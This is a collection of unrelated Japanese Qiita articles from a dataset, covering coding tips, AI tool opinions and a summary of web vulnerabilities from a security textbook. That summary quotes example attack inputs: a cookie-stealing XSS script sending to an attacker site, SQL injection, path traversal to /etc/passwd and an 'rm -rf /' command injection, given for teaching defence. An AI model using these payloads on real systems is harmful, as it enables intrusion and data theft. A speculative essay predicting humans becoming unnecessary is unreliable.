OmniAICreator/Qiita-1.07M huggingface dataset:
次に産業化する物は何か？What's the next thing to industrialize?

# 内容
・情報の文明学という本がある。英語圏では、第四の波という本が有名である。
　この本は産業進化が生物進化と相同しているという内容である。
・この内容参考にして、言語モデルを解析した。
　といっても大きなモデルは無くword2vecである。
　独自の指標を新しく創り出して計算した所、見事に産業と生物進化が相同した。
　農業や工業、情報社会の到来と生物進化は奇麗に騒動した一直線となって表れた。
 （指標のヒント：産業はどうやって進化してきたか、歴史をしっかり調べれば分かる）
  
・当時(2021年）、上記の指標が示した未来は以下だった。
　**人間の脳みその機械化：2025年頃**
　**人間の精神の機械化：2040年頃**
　**人間の数学研究の機械化：2060年頃**
 （人間社会の終わり。機械と人間が融合した新生物が進化を続ける）

 当時、誰も理解しなかった。次の年にChatGPTが出た。
 どうもこの理論は正しかったらしい。

数学の研究が機械化されると、以下の2点が機械化される
**・抽象化**
**・外挿化**
この2点が達成されると、真の意味での「思考」が出来るようになる。
そうなればもはや人類は不要である。

本当は自分で論文にでもする予定だったが、どうも私の健康が怪しいので記録として残しておく。


# Contents
-There is a book called The Civilization of Information. In the English-speaking world, a book called The Fourth Wave is famous.This book argues that industrial evolution is homologous to biological evolution.

-I used this content as a reference to analyze the language model.
However, there was no large model, just word2vec.
I created a new, original indicator and calculated it, and the industrial and biological evolution were perfectly homologous.
The arrival of agriculture, industry, and the information society and biological evolution appeared as a beautifully turbulent straight line.
(Indicator hint: If you look closely at history, you can find out how industry has evolved)

-At the time (2021), the above indicators indicated the following future.
　**Mechanization of the human brain: around 2025**
　**Mechanization of the human mind: around 2040**
　**Mechanization of human mathematical research: around 2060**
　(The end of human society.A new organism that combines humans and machines continues to evolve)

No one understood it at the time. The following year, ChatGPT came out.
It seems that this theory was correct.

When mathematical research is mechanized, the following two points are mechanized:
**・Abstraction**
**・Extrapolation**
When these two points are achieved, true "thinking" becomes possible.

When that happens, humans will no longer be necessary.
I was actually planning to write a paper about it myself, but I'm not sure so I'm just leaving it here as a record.
最強テンプレ [C++]

## 本題
```cpp:template.cpp
#define _GLIBCXX_FILESYSTEM
#include <bits/stdc++.h>
using namespace std ;
#define int long long 
const int N = 1e7+7 ;
const int M = 1e6+5 ;
const int INF = 1e9  ;
int mod = 1e9 + 7 ;
const double pi = acos(-1.0) ;

int32_t main()
{

    ios_base :: sync_with_stdio(false) ; cin.tie(NULL) ; cout.tie(NULL) ;
    // pre() ;
    
    // int t= 1 ;
    // cin >> t ;
    while(t--){
        //cout << "Case "<< T++ << ": " ;
        // solve() ;
        //cout << t<< "t" << endl;
    }
}
```

### 解説
llは曲者です。なのでintと統合させるのが良い習慣とされています。
ただmain関数との型変換を避けるために、int32_tと明示してあげています。


## まとめ
筆者は昨日競プロ初めてみました。
一緒に楽しみましょう！
PlaywrightからDifyのAPIを使って日本語が正しいか検証する

# ことはじめ
VRTにいろんなことをさせたいと思った結果、AIを使って文章の検証とかしたらいいんではないかと思いつき、DIFYを連携させてみた。

## DIFYのほう
とてもシンプルです。inTextで入った文章が正しいかどうかをoutTextで出力する。
しかし無料で使えて日本語での問いにちゃんと答えてくれたのが数少なく、Qwen系AIになりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3512656/b6d1504d-8c1c-4beb-9845-c66efa8a14e5.png)
こんなプロンプトが入っています。

```
検証内容は「{inText}」です。
検証内容に日本語上の誤りが含まれていれば内容を出力してください。

誤りが無ければ”0000”を出力してください。
検証内容が空文字であれば”0000”を出力してください。
```
0000を出させているのは正解かどうかg判別しにくいからです。

## Playwrightのほう
こんなテストを書きます。
```
import axios from 'axios';
//DIFY API KEY
const difyKey = 'app-aaaabbbbccccddddeeeeffff';
～～～～～～～～～～～～～～
//日本語テスト
test('isTrueJapanese', async ({ page }) => {
  await page.goto('https://demo.playwright.dev/todomvc'); // ページ遷移
  const texts = await page.innerText('h1')); //テキスト取得
  
  //DIFY API 
  const difyClient = axios.create({
    baseURL: 'https://api.dify.ai/v1',
    headers: {
      'Authorization': `Bearer ${difyKey}`,
      'Content-Type': 'application/json',
    },
  });
  const response = await difyClient.post('/workflows/run', {
    inputs: {
      inText: texts
    },
    response_mode: "blocking",
    user: "abc-123"
  });
  const checkResult = response.data.data.outputs.outText.split('</think>')[1].replaceAll("\n",''));

  expect(checkResult).toEqual('0000');

});

```
</think>で切って改行を消したのは比較しやすい為です。もっと賢いAIモデルならそんな事もしなくていいかもしれません。
それ、本当にDevinでやる必要ありますか？

最近、Devinという「AIソフトウェアエンジニア」の紹介記事や動画が話題になっている。  
確かにすごい。計画を立て、コードを書き、テストし、GitHubにPRまで投げる。  
でも、その成果物を見ていて、ある疑問が湧いた。

---

## 💡 それ、本当にDevinでやる必要ありましたか？

多くの紹介記事で挙げられているタスクは、以下のようなもの：

- ボタンの色変更（しかも指示は「ちょっと高級感ある色で」）
- タイトルの改行位置の修正
- OAuthのボタン表示（※連携設定は人間がやる）

…**全部、人間がやったら5分で終わる内容**です。

---

## 🚧 しかも、Devinはリモート実行型である

- ブラウザ越しのUI  
- 通信ラグがある（当然、ローカルより遅い）  
- 開発環境の初期化も時間がかかる  

→つまり、**ちょっとしたUI修正をするには正直オーバースペック**なんです。

---

## 🧠 では、なぜDevinでやっているのか？

結論から言うと、「Devinでやったら映える」からです。  
いわば**Devin向きのタスクを“わざわざ用意して”実行してる**。  
これは完全に**ビジネスとしての演出構造**です。

---

## 📌 Devinはツール。信仰の対象ではない

Devin自体はポテンシャルが高い。  
だが、**Devinで完結するような“お手軽チケット”だけを扱って「感動！」するのは、少しズレている。**

本当にすごいのは、以下のような場面でDevinが使えるようになった時：

- 複数モジュールにまたがる設計変更
- 非同期処理のバグ特定と修正
- テスト駆動開発＋CI連携

---

## 🧯 まとめ

Devinは強力だが、  
**「Devinでやったこと」＝「やる価値があったこと」ではない**。

---

# ✅ 最後にもう一度問います。

> それ、本当にDevinでやる必要、ありますか？

---

## 🏷 タグ案：
`#AIエンジニアリング` `#Devin` `#AIツール活用` `#Qiita炎上
Salesforce CLIでイベントリレーに関する情報を確認する

Salesforceのイベントリレー機能を使って、リアルタイムモニタリングをEventBridge経由でAWSに連携する作業のメモ書き

# Salesforce CLI
①デプロイコマンド
```
sf project deploy start -m <メタデータタイプ>:<コンポーネント名> -o <組織のエイリアス>
```


②組織内のプラットフォームイベントチャンネルを確認するコマンド
```
sf data query -q "SELECT Id, DeveloperName, MasterLabel FROM EventRelayConfig" -o <組織のエイリアス>
```

③イベントチャネルメンバーを確認するコマンド（FullNameを確認する）
```
sf org list metadata -m PlatformEventChannelMember -o <組織のエイリアス> --json
```
自作フレームワークで画像共有アプリを作って学んだこと

## はじめに
この3日間で、自作のマイクロフレームワークを使って簡単な画像データ共有アプリを作成しました。
まだ改善したい点や追加機能は多くありますが、ひとまず基本機能（アップロード／表示／除）の実装が完了したので、現時点での学びを整理します。

## windsurfを使ってみて感じたこと
今回の開発では、AI搭載エディタ「Windsurf」を初めて使いました。
補完機能の精度の高さに感動しました。

少しコードを書くと、こちらの意図を先回りして予測し、的確に補完してくれる。
最初は「思考が鈍るのでは？」という懸念がありましたが、考え方が変えました。

作りたいものが明確で、どう実装するかのイメージがある状態で補完を使うと、

自分の予想どおりの補完が出る → 「理解できている」

見たことない補完が出る → 「そこに学びの種がある」

補完機能を予測の答え合わせとして使い、知らなかったコードや書き方を深掘りして理解を深める。
現状そんな使い方が自分には合っていると感じました。

## Dockerで環境構築をして感じた低レイヤーの重要性
今回の開発で直面した課題と解決策については以下の記事で整理しました。

https://qiita.com/TechCraft/items/6eb6a8aecb867c9bc606

Dockerでのエラー対応を通して、「CPUがバリナリデータをどう処理するのかの仕組みを知っていると強い」と思いました。

僕のDockerに対する今の理解は、AWSで言うところの、「同じPC内に複数の仮想インスタンスを立てる感覚」。

これまでの以下の記事が理解の土台になったので、日々の積み重ねが活きたとも感じました。

https://qiita.com/TechCraft/items/9b819f213cb8708cfeac

https://qiita.com/TechCraft/items/7ccb9ad09337a3184ff1

https://qiita.com/TechCraft/items/7526f957943b542cb790

## 画像データを扱う中での学び
普段はHTMLやJSONばかり触っていたので、画像のバイナリをHTTP経由で扱うのは良い練習になりました。

以下に理解したポイントを整理します。

- 一意なファイル名をつけるのは、重複を避けるため（bin2hex(random_bytes(...)) など）
- ファイル本体をDBに保存しない理由は、容量・パフォーマンス・柔軟性の面で不利だから
- ファイルはディレクトリ（ストレージ）に保存し、DBにはそのパスやメタ情報を記録するのが一般的
- 画像表示時の Content-Type ヘッダーは、拡張子やMIMEタイプに応じて変わる（例：image/png）

この設計は、後々S3やCDNと連携させることを考えると、拡張性が高いということも学びました。


## おわりに
今回のプロジェクトでは

- コマンドラインシステム
- マイグレーション／シーディングシステム
- ビューとロジックの分離
- レスポンスレンダラー

など、一人で作りきることができました。
自信につながったと同時に、次に進むモチベーションにもなりました。

今後は Recursion のプロジェクト5 をさらに進めつつ、
コードの質を更に高めるフェーズに入っていけるのが楽しみです。
AtCoderの問題を後で見返すための場所

# 今回の趣旨
自分がいいと思ったAtCoderの問題を保存して後で見返すための記事です。
[AtCoder Problems](https://kenkoooo.com/atcoder/#/table) のDifficultyを問題のリンクの下に記載しています。（参考程度に）
★マークが付いている問題は、ピックアップした問題の中でもお気に入りの問題です。

Difficultyの下には、問題のタグが書いてあります。
Ctrl + Fで決まったタグの問題を探すという使い方を想定しています。

<details><summary>タグ付けについての詳細情報</summary>

| タグ名 | 意味 |
|:-:|:-:|
| 〇〇点  | 問題の点数  |
| ◯色  | Diffの色  |
| 高速化 | 実行時間について工夫が必要な問題 |
| メモリ | メモリ制限について工夫が必要な問題 |
| 基礎 | 基礎問題 |
| インタラクティブ  | インタラクティブ問題  |
| 文字列  | 文字列に関する問題  |
| 数列  | 数列に関する問題  |
| グラフ  | グラフ問題  |
| 数学系  | 数学の思考が必要になる問題  |
| グリッド  | グリッド系問題  |
|　ゲーム | ゲーム系問題 |




</details>



# 本編

[ABC023 D - 射撃王](https://atcoder.jp/contests/abc023/tasks/abc023_d)
Difficulty: 試験管　1843
青色

[ABC044 ARC060 C - 高橋君とカード ](https://atcoder.jp/contests/abc044/tasks/arc060_a)
Difficulty: 1583
300点, 水色, 数列, 計算量, 基礎 (部分点)


[ABC045 ARC061 D - すぬけ君の塗り絵](https://atcoder.jp/contests/abc045/tasks/arc061_b)
Difficulty: 1682
400点, 青色, グリッド, メモリ



[★ABC047 ARC063 C - 一次元リバーシ ](https://atcoder.jp/contests/abc047/tasks/arc063_a)
Difficulty: 755
300点, 茶色, 基礎



[ABC048 ARC064 D - An Ordinary Game ](https://atcoder.jp/contests/abc048/tasks/arc064_b)
Difficulty: 1814
500点, 青色, 文字列


[★ABC049 ARC065 D - Connectivity](https://atcoder.jp/contests/abc049/tasks/arc065_b)
Difficulty: 1996
400点, 青色, グラフ


[ABC051 D - Candidates of No Shortest Paths](https://atcoder.jp/contests/abc051/tasks/abc051_d)
Difficulty: 1566
400点, 水色, グラフ




[★ABC052 ARC067 C - Factors of Factorial ](https://atcoder.jp/contests/abc052/tasks/arc067_a)
Difficulty: 967
300点, 緑色, 数学系



[ABC054 C - One-stroke Path ](https://atcoder.jp/contests/abc054/tasks/abc054_c)
Difficulty: 1244
300点, 水色, グラフ, 基礎




[ABC055 ARC069 C - Scc Puzzle](https://atcoder.jp/contests/abc055/tasks/arc069_a)
Difficulty: 561
300点, 茶色, 基礎


[★ABC062 ARC074 C - Chocolate Bar ](https://atcoder.jp/contests/abc062/tasks/arc074_a)
Difficulty: 1223
400点, 水色


[ABC066 ARC077 C - pushpush](https://atcoder.jp/contests/abc066/tasks/arc077_a)
Difficulty: 552
300点, 茶色, 高速化, 数列

[★ABC068 ARC079 D - Decrease (Contestant ver.)](https://atcoder.jp/contests/abc068/tasks/arc079_b)
Difficulty: 1545
600点, 水色, 数列,　数学的


[ABC069 ARC080 C - 4-adjacent](https://atcoder.jp/contests/abc069/tasks/arc080_a)
Difficulty: 578
400点, 茶色, 数列,　数学的
CursorやClineのミスを減らすために「インシデント報告書」を書かせる試み

おはようございます。座禅いぬです。
最近技術というより生成AIの記事が多くて恐縮です。

現在幾つかの課題提出やMTG、本業での色々な課題に直面しており、それを解決する技術を優先的に学んでいる状態なので、どうしても偏りが発生しちゃうなあ...と。

さて、ある勉強会で自社のインシデント報告書の考え方と付随するビジネス課題の話をしたのですが、そのあと改めてまとめてみようと思い至り作業をしておりました。

## インシデント報告ってなんや
ざっくり言うと、「**業務システムを運用した当事者が、問題発生及び問題発生の兆候に直面した際報告し、業務システムの改善に用いる仕組み**」です。医療でよく使われています。

### 例えばこんな感じ
患者の名前を読み間違えて、別の患者がさらに聞き間違えて返事をして、「あれ？この人じゃないはずだけど…」と一度待ってもらって、読み間違えに気付いた。
→システムで表示される名前が漢字表記のみであった。今後すべての患者にふりがなを表示するようシステムを修正した。

こんな感じです。ミスが起こる場面はあらかじめすべて想定できるわけではなく、確率はゼロにならないので、あらかじめ大きな問題につながる前に仕組みで対応するわけですね。

前置きが長くなりましたが、**この仕組みをCursorやCline等に適用できないか？** というのが今日の話です。医療ミスではなく、仕組みの改善という点ですね。**僕たちが書いた要件定義に沿って指示をしたが、意図と違うことをやった場合、レポートを書かせる**。「起こった事実、なぜそうなったか、対策」をまとめさせ、要件定義を実行するときに参照させたらよいのではないかと。

## Cursor Rulesに記載する

さて、この **「AIによる意図しない挙動」をインシデントと捉え、CursorのRules機能（または類似のAIツールのカスタム指示機能）にどう落とし込むか** 、というのが今回の肝です。

最近はCursorのRulesを、コーディングスタイルや使用するライブラリ、フレームワークの規約などの指示ではなく、いわゆる「**秘書を生成AIにさせる**」みたいな使い方も増えていると思います。今回はその中間点みたいな作業ですね。ここに、「インシデント報告とその活用」という観点を加えてみましょう。

そして、報告はyamlで行うのがよさそうです。

``` yaml:.cursor-rules/incident_template.yaml
title: "{{date}}_{{short_summary}}"
fields:
  - 発生日時          # 2025-05-12 07:55
  - 発生箇所          # ex) main.py: fetch_patient_records
  - 期待した振る舞い    # ひらがなを含めた氏名を一覧表示
  - 実際の振る舞い      # 漢字のみ表示
  - トリガー条件        # プロンプト「フリガナを付けて」を誤解
  - 原因分析            # LLM側の日本語指示解釈が曖昧
  - 暫定対応            # 手動で患者リストにフリガナ列を追加
  - 恒久対応            # プロンプトに「kana=true」フラグを必須化
severity_scale:
  - S0: "業務停止または安全性に直結"
  - S1: "クリティカルだが迂回策あり"
  - S2: "軽微な機能不全"
```

以下、実験して追記します。🧘‍♂️🐕
徳丸本を読んだので個人的なメモをまとめてみる (webアプリケーションの脆弱性まとめ)

## はじめに

「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」(徳丸本)を読んで学んだWebセキュリティの基本の個人用まとめメモです。

https://amzn.to/4j384f0

AI生成コードが増える現代でも、こういった根本的な脆弱性は人間側で責任を持ってチェックしないとな〜と思いました。"動くだけ"のコードだと危険だなと

## 主なWebセキュリティ脆弱性と対策

### クロスサイト・スクリプティング (XSS)
* **概要**: 外部入力に基づくHTML/JavaScript生成に問題があり、悪意のあるスクリプトが埋め込まれて実行される脆弱性。掲示板や検索結果などで発生しやすい。
* **具体例**: 検索フォームに `<script>document.location='https://攻撃サイト/steal.php?c='+document.cookie</script>` を入力すると、検索結果画面でスクリプトが実行され、閲覧者のクッキーが攻撃者に送信される。
* **対策**: HTML特殊文字をエスケープ（`htmlspecialchars`等）、コンテキストに応じた適切な対応。`textContent`の使用やDOM操作ライブラリの活用。

### SQLインジェクション
* **概要**: 外部入力値に不正なSQL断片が混入し、認証バイパスやデータ漏洩につながる攻撃。
* **具体例**: ログインフォームで `' OR 1=1 --` を入力すると、「パスワードが正しいORいつも真」という条件になり、認証がバイパスされる。
* **対策**: プリペアドステートメントの使用（例: PHPの`PDO`や`mysqli`）、メタ文字の適切なエスケープ。

### ディレクトリ・トラバーサル
* **概要**: ファイル名パラメータの検証不足により、想定外のファイルにアクセスされる脆弱性。
* **具体例**: `https://example.com/download.php?file=../../../etc/passwd` のようなURLで、Webアプリのディレクトリ外のシステムファイルにアクセスされる。
* **対策**: 外部からのファイル名指定を避ける、`../`などのディレクトリ指定文字の検証、安全な文字種に制限。

### OSコマンド・インジェクション
* **概要**: OSコマンド呼び出し時の入力値処理の不備で、意図しないコマンドが実行される脆弱性。
* **具体例**: IPアドレス入力フォームに `8.8.8.8; rm -rf /` を入力すると、pingの後に破壊的コマンドが実行される可能性。
* **対策**: OSコマンド呼び出しを避ける、シェル呼び出し関数を使わない（例: PHPなら`system()`ではなく`exec()`）、メタ文字のエスケープ。

### オープンリダイレクト
* **概要**: リダイレクト先URL検証の不備により、悪意のあるサイトへ誘導されるリスク。フィッシング攻撃に悪用される。
* **具体例**: `https://trusted-site.com/redirect.php?url=https://malicious-site.com` のようなURLで、信頼されたサイトから悪意あるサイトへ誘導される。
* **対策**: リダイレクト先を固定または番号で指定（例: `redirect.php?id=1`）、ドメイン名の厳格な検証。

### セッション管理の不備
* **概要**: セッションIDの管理不備によりなりすましが可能になる脆弱性。
* **具体例**: 予測可能なセッションID値や、XSSで盗まれたセッションIDを使ったセッションハイジャック。
* **対策**: 実績あるセッション管理機構の利用、認証後のセッションID再生成（例: PHP `session_regenerate_id(true)`）、TLS化とSecure属性設定。

### 認可不備
* **概要**: ユーザー権限の確認が不十分で、権限外の情報や機能にアクセスできてしまう問題。
* **具体例**: `https://example.com/user.php?id=123` のURLの数字を変えるだけで他のユーザー情報が見える、管理画面URLを直接入力すると一般ユーザーでもアクセスできてしまう。
* **対策**: アクセス直前の権限確認、権限情報をセッション変数に保持（クッキーやhiddenフィールドではなく）。

### HTTPヘッダ・インジェクション
* **概要**: レスポンスヘッダ出力時に改行コードがそのまま出力され、任意ヘッダ追加が可能になる脆弱性。
* **具体例**: リダイレクト用URLに改行コードを含める（`location: https://example.com\r\nSet-Cookie: session=hacked`）と、不正なクッキーが設定される。
* **対策**: 外部パラメータを直接ヘッダ出力しない、フレームワーク機能を利用（例: `header()`関数の直接使用を避ける）。

### アップロードファイルによるスクリプト実行
* **概要**: 実行可能なファイルがアップロードされ公開ディレクトリに配置されると、不正コードが実行される。
* **具体例**: プロフィール画像として`.php`ファイルをアップロードし、そのURLにアクセスして不正コードを実行。
* **対策**: アップロードファイルを公開ディレクトリに置かない、実行可能な拡張子を禁止（`.php`、`.cgi`等）、画像なら画像処理ライブラリでチェック。

### 文字コードに起因する脆弱性
* **概要**: 文字コードの扱いの不備が他の脆弱性を引き起こす原因となる問題。
* **具体例**: UTF-7エンコードでフィルタをバイパスしてXSS攻撃を行う、不正な文字シーケンスで文字化けを引き起こし他の対策を回避。
* **対策**: UTF-8で統一、不正なエンコーディングの排除、明示的な文字コード指定（例: HTMLの`<meta charset="UTF-8">`）。

### 競合状態（Race Condition）
* **概要**: 共有リソースへの同時アクセスに排他制御がなく、データ不整合が生じる脆弱性。
* **具体例**: 残高確認→引き落としの間に複数リクエストを送り、一度の残高で複数回の取引を行う。
* **対策**: 共有リソースの使用を避ける設計、適切な排他制御の実装（例: データベースのトランザクション、ロック機構）。

### クリックジャッキング
* **概要**: 透明なiframeで重要ページを覆い、意図しないクリックを誘発する攻撃。
* **具体例**: SNSの「いいね」ボタンの上に透明なレイヤーを置き、別のボタンをクリックしたつもりが「いいね」を押させられる。
* **対策**: `X-Frame-Options: DENY`や`X-Frame-Options: SAMEORIGIN`ヘッダによるフレーム内表示の禁止、コンテンツセキュリティポリシー（CSP）の設定。
マッチングアプリ工学




### 数学・統計

* **サンプリング理論**

  * 行動サンプル収集時のバイアス・サンプリングエラー考慮
* **確率モデル**

  * ログデータに対するポアソン分布・指数分布モデル化（イベント間隔解析）
* **情報理論**

  * ログデータのエントロピー測定による情報量最適化


## * 特徴量設計・モデリングフェーズ**

### 技術要素

* **特徴量エンジニアリング**

  * 年齢、趣味、居住地、行動頻度、メッセージ送信時間間隔、語彙多様性など抽出
  * ベクトル化（TF-IDF、Word2Vec、BERT埋め込み）
  * 次元削減（PCA, t-SNE, UMAP）

* **相性スコアリングアルゴリズム**

  * コサイン類似度、ユークリッド距離、マハラノビス距離
  * 行列分解（SVD、NMF）による潜在特徴抽出


### 技術要素

* **教師あり学習**

  * ロジスティック回帰、SVM、XGBoost、ニューラルネットワーク
* **教師なし学習**

  * K-means、階層クラスタリング、DBSCAN
* **自然言語処理**

  * 感情分析、話題モデリング（LDA）
  * LLM API（OpenAI GPT等）による会話生成
* **MLOpsパイプライン**

  * モデル学習・評価・デプロイ自動化（MLflow、Kubeflow）

### 数学・統計

* **線形代数**

  * ベクトル・行列計算
  * 特異値分解 (SVD)、固有値分解
* **確率統計**

  * 共分散行列、相関係数
  * ベイズ推論、最大事後確率推定（MAP）
* **最適化理論**

  * 勾配降下法、確率的勾配降下法（SGD）
  * ラグランジュ乗数法（制約付き最適化）

---

## ** モデル開発・学習フェーズ**




### 数学・統計

* **機械学習理論**

  * 損失関数設計（クロスエントロピー、MSE）
  * 過学習・汎化性能評価（交差検証、正則化）
* **情報理論**

  * KLダイバージェンスによる分布比較
  * エントロピー最大化による多様性確保

---




### 数学・統計

* **仮説検定**

  * t検定、カイ二乗検定、F検定
* **効果量算出**

  * Cohen’s d、オッズ比、相対リスク

---
時間計算量について少しずつ理解できてきた

## 時間計算量ってそもそも何？
時間計算量とはアルゴリズム（処理）が、入力サイズに応じてどれくらいの時間がかかるのかを表す目安のことを言います。

## O記法
アルゴリズムの計算量（処理時間やメモリ使用量）を、入力データ量に対してどのように変化するかを表すための記法をO記法という。
| 計算量        | 説明             | 例                     |
| ---------- | -------------- | --------------------- |
| O(1)       | 一定時間           | 配列の要素を1つ取り出す `arr[3]` |
| O(n)       | 線形（1つずつ見る）     | for文で全要素をループ          |
| O(n²)      | 二重ループ          | バブルソート                |
| O(log n)   | データを半分に分けながら探索 | 二分探索                  |
| O(n log n) | 高速ソート          | マージソート、クイックソート（平均）    |

## 学んだこと
コードを書き始めたときは正確に出力できればいいと思っていたが、コードを最適化するためにも学んで損はないことに気づいた。

## 最後に
今も深くは理解できていないが、どういうものかはなんとなく理解できた。
最適なコードを書くためにもこれから深く、時間計算量については学んでいきたいです！
コマンドとシェルスクリプトについて

## コマンドはどのように実行されるか
- ユーザーが入力したコマンド文字列を受け取る
- コマンド処理が記述されたファイルを探す
- 該当コマンドを実行

この「コマンド処理が記述されたファイルを探す」プロセスでシェルが必要となる。

代表的なシェルとしてはbashやzshが挙げられる。

つまり、コマンドを実行するためにはbashやzshといったシェルに文字列を打ち込み、

実行しなければいけない。

### 補足

必ずシェルにコマンド文字列を打ち込まなければ実行できないかのように記載したが、例外も存在する。

例えば、通常.sh形式で保存されるシェルスクリプトファイルを実行すれば、

ユーザーは一つ一つコマンドを打ち込むことなく実行することができる。


## ターミナルとシェルの違い
ターミナルはコマンド文字列を受け取り、シェルはその文字列を解釈してOSに伝える役割を果たす。
AtCoder Python 勢向け：VSCodeで標準入力付きのデバッグ環境を作る方法

VSCode で AtCoder などの**標準入力**のデバッグを紹介します。

この記事では、VSCodeの `launch.json` を活用して、`sample.in` を標準入力として渡しながらデバッグ実行する方法を紹介します。

## 🎯 対象読者

- AtCoder を Python で解いている人
- `sample.in` などの入力ファイルを使いたい人
- VSCode のデバッガーで標準入力を再現したい人

## 📁 ディレクトリ構成の例

```
─ ABC001
  ├── a
  │   ├── main.py
  ├── b
  │   ├── main.py
  ├── c
  │   ├── main.py
  └── d
      └── main.py
─ sample.in
```

- `sample.in` にテスト用の入力を記載する

## ⚙️ `.vscode/launch.json` の設定

1. `.vscode` フォルダを作成（なければ）
2. `launch.json` を作成して、以下を記述：

```json
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Python デバッガー: 現在のファイル",
      "type": "debugpy",
      "request": "launch",
      "program": "${file}",
      "console": "integratedTerminal",
      "args": [
        "<",
        "sample.in"
      ]
    }
  ]
}
```

💡 args に `"<", "sample.in"` を指定することで、実行時に `sample.in` の内容が `input()` へ流れるようになります。


## ▶️ デバッグの実行手順

1.	VSCodeで `main.py` を開く
2.	デバッグパネル（左の虫アイコン）を開く
3.	「Python デバッガー: 現在のファイル」を選択し、F5キーを押す

標準入力として `sample.in` の内容が渡され、AtCoderと同じ動作になります！

## 🧠 デバッグを使うことで得られるメリット

デバッグ機能には、以下のような機能があります。

- **ブレークポイント**：任意の行で処理を一時停止し、ロジックの流れを1行ずつ確認できます
- **変数ウォッチ**：実行中の変数の値をリアルタイムに監視できます
- **ステップ実行**：1行ずつ処理を追うことで、思わぬバグの原因を特定しやすくなります
- **スタックトレースの可視化**：再帰や例外の流れを視覚的に把握できます

競技プログラミングでは「とりあえず print デバッグ」という方も多いですが、**デバッガーを使いこなせば原因特定が数倍速くなります！**

ぜひこの機会に、VSCode デバッガーでの標準入力デバッグをマスターして、実力をひとつ上のステージへ引き上げてみてください 💪
PHPにおけるfalsyな値

## どうでも良い前書き

3年間Rubyを触り続けてきましたが転職を機にPHPで開発することになりました。
良し悪しではなく、Rubyは`false`と`nil`のみがfalsyな値ですが、PHPでは違うみたい。
Rubyのこのシンプルな判定に慣れているのでPHPでの判定にまだ慣れず、ここにメモしておきます。

## PHPでfalsyと評価される値一覧

以下がfalsyらしいです。
でも、文字列の`"0.0"`は`true`みたいです。

| 値の種類         | 値の例                 | 説明                             |
|------------------|------------------------|----------------------------------|
| **boolean**      | `false`                | 明示的な偽                       |
| **整数**         | `0`                    | 数値のゼロ                       |
| **浮動小数点数** | `0.0`                  | 浮動小数点のゼロ                 |
| **文字列**       | `""`, `"0"`            | 空文字や `"0"` は falsy          |
| **配列**         | `[]`                   | 空配列                           |
| **NULL**         | `null`                 | NULL 値                          |
| **未定義変数**   | `$undefined`           | `isset()` でチェックが必要       |
| **空のオブジェクトプロパティ等** | `$obj->notExists` | 存在しないプロパティなど         |

## falsyかどうかをチェックする方法

### 1. `if (!$value)`：もっとも基本的な使い方
これはシンプルですね。
ただ、`$value`が定義されていなければ、PHPは警告を出すみたいです。
```php
$value = "";

if (!$value) {
  echo "falsyです";
}
```

### 2. empty() を使う：未定義変数も安全にチェック可能

empty() は未定義変数にも警告を出さず`false`と評価します。
falsyな値全般を安全に扱いたいなら`empty()`が楽ですかね。

```php
if (empty($value)) {
  echo "falsyまたは未定義です";
}
```

### 3.  (bool) キャスト

こうすると値をboolに変換してfalseと比較するんですね。
ただ未定義変数の場合警告を出してくるみたいです。

```php
if ((bool)$value === false) {
    echo "明示的に falsy です";
}
```

## 最後に

なんだか今年はPHP(Laravel)、Dart(Flutter)を頑張る必要がありそうです。
ゆっくりやっていきます。
## LINE userIdの取得方法（Messaging API + Pipedream Webhook）

### LINE userIdの取得方法

### 1. LINE DevelopersコンソールでMessaging APIチャネルを作成

1. **LINE Developersコンソールにアクセスする。**
   - [LINE Developers](https://developers.line.biz/ja/) にアクセスし、LINEアカウントでログインする。
2. **プロバイダーを選択する。**
   - 既存のプロバイダーを選択するか、まだ作成していない場合は「新規プロバイダー作成」をクリックして作成する。
3. **Messaging APIチャネルを作成する。**
   - プロバイダーを選択後、「新規チャネル作成」をクリックする。
   - チャネルタイプで「Messaging API」を選択し、以下の情報を入力する。
     - **アプリタイプ:** 自身のサービスに合わせて選択（通常は「Web app」など）
     - **チャネル名:** 任意のチャネル名（例: My Pipedream Bot）
     - **チャネル説明:** チャネルの説明
     - **プラン:** Free
     - **プライバシーポリシーURL:** サービスのプライバシーポリシーURL（任意）
     - **利用規約URL:** サービスの利用規約URL（任意）
     - その他の項目も必要に応じて入力する。
4. **作成内容を確認し、「作成」をクリックする。**
   - チャネルが作成されると、「Messaging API設定」タブが表示される。

### 2. PipedreamでWebhook URLを生成

1. **Pipedreamにアクセスし、アカウントを作成またはログインする。**
   - [Pipedream](https://pipedream.com/) にアクセスする。
2. **新しいワークフローを作成する。**
   - ダッシュボードで「+ New」ボタンをクリックし、「Workflow」を選択する。
   - ワークフローの名前を入力し（例: LineBotWebhook）、任意のトリガーを選択する。ここでは、LINEからのWebhookリクエストを受信するために「HTTP / Webhook」トリガーを選択する。
3. **「HTTP / Webhook」トリガーを設定する。**
   - トリガーのステップが表示されたら、「Create a new HTTP endpoint」を選択する。
   - Pipedreamが自動的にWebhook URLを生成する。このURLは後でLINE Developersコンソールに設定する。
4. **生成されたWebhook URLをコピーする。**
   - HTTPエンドポイントのURLが表示されるので、クリップボードにコピーする。

### 3. LINE DevelopersコンソールにPipedreamのWebhook URLを設定

1. **LINE Developersコンソールに戻り、作成したMessaging APIチャネルの「Messaging API設定」タブを開く。**
2. **「Webhook設定」セクションを探す。**
3. **「Webhook URL」の入力欄に、PipedreamでコピーしたWebhook URLを貼り付ける。**
4. **「Webhookの利用」を「利用する」に切り替える。**
5. **「更新」ボタンをクリックして、Webhook URLを保存する。**
6. **「Webhookの検証」ボタンをクリックする。**
   - Pipedreamのエンドポイントに検証リクエストが送信される。Pipedreamのワークフローが正しく設定されていれば、「Success」と表示される。Pipedreamのワークフローのトリガー設定で「Respond to HTTP requests immediately」が有効になっていることを確認する。

### 4. PipedreamでLINEからのイベントデータを確認

1. **LINE Botを友達に追加し、何かメッセージを送信してみる。（テキストメッセージ、スタンプなど）**
   - Messaging APIチャネルの「基本設定」タブにある「LINE公式アカウントのQRコード」をスキャンするか、「友だち追加ボタン」をWebサイトなどに設置して、LINE Botを友達に追加する。
2. **Pipedreamのワークフローの実行履歴を確認する。**
   - Pipedreamのワークフロー画面に戻り、「Event Log」タブを開くと、LINEから送信されたイベントデータが記録されているはずだ。
3. **イベントデータから `userId` を抽出する。**
   - 受信したイベントデータの `body` の中にある `events` 配列の各イベントオブジェクト内の `source` オブジェクトに `userId` が含まれている。

```json
[
  {
    "type": "message",
    "message": {
      "type": "text",
